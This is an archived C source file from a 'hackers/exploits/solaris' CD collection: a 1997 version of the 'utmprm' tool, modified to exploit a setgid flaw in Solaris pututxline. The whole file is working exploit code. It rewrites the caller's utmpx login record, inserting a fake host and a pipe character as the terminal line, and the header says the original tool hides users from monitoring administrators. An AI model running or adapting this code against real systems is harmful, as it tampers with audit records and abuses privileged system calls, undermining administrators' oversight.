home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / solaris / sol-hole.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-02-23  |  3.1 KB  |  119 lines

  1. /*
  2.  * utmprm (version 1.0)
  3.  * renamed to holeutmp.c (version 1.0)
  4.  *
  5.  * Copyright, 1994, 1995 by Scott Chasin (chasin@crimelab.com)
  6.  * Modified by Hendrik Visage (hendrik@jupiter.cs.up.ac.za)
  7.    to exploit a pututxline SETGID problem
  8.  *
  9.  * This material is copyrighted by Scott Chasin, 1994, 1995. The 
  10.  * usual standard disclaimer applies, especially the fact that the 
  11.  * author is not liable for any damages caused by direct or indirect 
  12.  * use of the information or functionality provided by this program.
  13.  */
  14.  
  15. /* utmprm takes advantage of a Solaris 2.x utmpx system call that
  16.  * allows any user to remove themselves from the corresponding
  17.  * utmp files and partly out of the eyes of monitoring admins.
  18.  */
  19.  
  20. #include <stdio.h>
  21. #include <pwd.h>
  22.  
  23. #include <utmpx.h>
  24.  
  25. char *strchr(), *strdup(), *ttyname(), *getlogin();
  26.  
  27. main (argc, argv)
  28. int argc;
  29. char **argv;
  30. {
  31.   uid_t ruid, getuid();
  32.   char *ttyn, *tty, *username;
  33.   struct passwd *pwd;
  34.  
  35.   /* Grab our ttyname */
  36.  
  37.   ttyn = ttyname(0);
  38.  
  39.   if (ttyn == NULL || *ttyn == '\0') 
  40.    {
  41.       fprintf (stderr, "utmprm: where are you?\n");
  42.       exit (1);
  43.    }
  44.           
  45.   if (tty = strchr (ttyn + 1, '/'))
  46.       ++tty;
  47.   else
  48.       tty = ttyn;
  49.  
  50.   /* Grab our login name */
  51.   ruid = getuid ();
  52.   username = getlogin ();
  53.  
  54.   if (username == NULL || (pwd = getpwnam (username)) == NULL ||
  55.       pwd->pw_uid != ruid)
  56.       pwd = getpwuid (ruid);
  57.  
  58.   if (pwd == NULL) 
  59.    {
  60.       fprintf (stderr, "utmprm: who are you?\n");
  61.       exit (1);
  62.    }
  63.  
  64.   username = strdup (pwd->pw_name);
  65.  
  66.   utmpx_delete (username, tty);
  67. }
  68.  
  69. utmpx_delete (user, line)
  70.   char *user;
  71.   char *line;
  72.   {
  73.     struct utmpx utx;
  74.     struct utmpx *ut;
  75.  
  76.     /* Let's build a utmpx structure that looks like
  77.      * our entries profile.
  78.      */
  79.  
  80.     strncpy (utx.ut_line, line, sizeof (utx.ut_line));
  81.     strncpy (utx.ut_user, user, sizeof (utx.ut_user));
  82.  
  83.     /* We use getutxline to search /var/adm/utmpx for our
  84.      * entry.
  85.      */
  86.  
  87.     if ((ut = getutxline (&utx)) == 0) 
  88.       printf ("utmprm: entry not found for %s (%s)\n", user, line); 
  89.     else { 
  90.       /* Since we doesn't want to remove the entry, 
  91.      all the DEAD_PROCESS related stuff
  92.      isn't needed 
  93.       ut->ut_type = DEAD_PROCESS;
  94.       ut->ut_exit.e_termination = 0; 
  95.       ut->ut_exit.e_exit = 0; 
  96.       */
  97.  
  98.       gettimeofday (&(ut->ut_tv), 0);
  99.       ut->ut_type = USER_PROCESS;
  100.       strcpy(&(ut->ut_host),"Probleme.SA");
  101.       ut->ut_syslen=strlen(ut->ut_host);
  102.  
  103.       strcpy(&(ut->ut_line),"|");
  104.  
  105.         /* Using pututxline as a normal user, we take advantage
  106.          * of the fact that it calls a setuid system call to
  107.          * modify the utmpx entry we just build.  The only check
  108.          * that pututxline has is that the login name in the utmpx
  109.          * entry must match that of the caller's and that the
  110.          * utmpx device entry is a real device writable by the
  111.          * caller.
  112.          */
  113.  
  114.         pututxline (ut);
  115.         printf ("utmprm: %s (%s) modified with exit code %d.\n", user, line,pututxline (ut));
  116.     }
  117.     endutxent ();
  118. }
  119.